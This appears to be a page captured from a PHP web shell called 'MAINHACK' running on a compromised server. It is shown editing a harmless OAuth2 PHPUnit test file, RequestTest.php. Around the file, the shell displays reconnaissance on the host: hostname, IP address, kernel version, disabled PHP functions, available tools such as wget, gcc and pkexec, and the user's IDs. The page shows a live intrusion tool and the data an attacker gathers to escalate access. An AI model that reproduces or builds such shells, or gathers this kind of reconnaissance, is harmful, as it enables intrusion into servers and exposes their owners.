[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: RequestTest.php
<?php namespace OAuth2; use OAuth2\Request\TestRequest; use OAuth2\Storage\Bootstrap; use OAuth2\GrantType\AuthorizationCode; use PHPUnit\Framework\TestCase; class RequestTest extends TestCase { public function testRequestOverride() { $request = new TestRequest(); $server = $this->getTestServer(); // Smoke test for override request class // $server->handleTokenRequest($request, $response = new Response()); // $this->assertInstanceOf('Response', $response); // $server->handleAuthorizeRequest($request, $response = new Response(), true); // $this->assertInstanceOf('Response', $response); // $response = $server->verifyResourceRequest($request, $response = new Response()); // $this->assertTrue(is_bool($response)); /*** make some valid requests ***/ // Valid Token Request $request->setPost(array( 'grant_type' => 'authorization_code', 'client_id' => 'Test Client ID', 'client_secret' => 'TestSecret', 'code' => 'testcode', )); $server->handleTokenRequest($request, $response = new Response()); $this->assertEquals($response->getStatusCode(), 200); $this->assertNull($response->getParameter('error')); $this->assertNotNUll($response->getParameter('access_token')); } public function testHeadersReturnsValueByKey() { $request = new Request( array(), array(), array(), array(), array(), array(), array(), array('AUTHORIZATION' => 'Basic secret') ); $this->assertEquals('Basic secret', $request->headers('AUTHORIZATION')); } public function testHeadersReturnsDefaultIfHeaderNotPresent() { $request = new Request(); $this->assertEquals('Bearer', $request->headers('AUTHORIZATION', 'Bearer')); } public function testHeadersIsCaseInsensitive() { $request = new Request( array(), array(), array(), array(), array(), array(), array(), array('AUTHORIZATION' => 'Basic secret') ); $this->assertEquals('Basic secret', $request->headers('Authorization')); } public function testRequestReturnsPostParamIfNoQueryParamAvailable() { $request = new Request( array(), array('client_id' => 'correct') ); $this->assertEquals('correct', $request->query('client_id', $request->request('client_id'))); } public function testRequestHasHeadersAndServerHeaders() { $request = new Request( array(), array(), array(), array(), array(), array('CONTENT_TYPE' => 'text/xml', 'PHP_AUTH_USER' => 'client_id', 'PHP_AUTH_PW' => 'client_pass'), null, array('CONTENT_TYPE' => 'application/json') ); $this->assertSame('client_id', $request->headers('PHP_AUTH_USER')); $this->assertSame('client_pass', $request->headers('PHP_AUTH_PW')); $this->assertSame('application/json', $request->headers('CONTENT_TYPE')); } private function getTestServer($config = array()) { $storage = Bootstrap::getInstance()->getMemoryStorage(); $server = new Server($storage, $config); // Add the two types supported for authorization grant $server->addGrantType(new AuthorizationCode($storage)); return $server; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002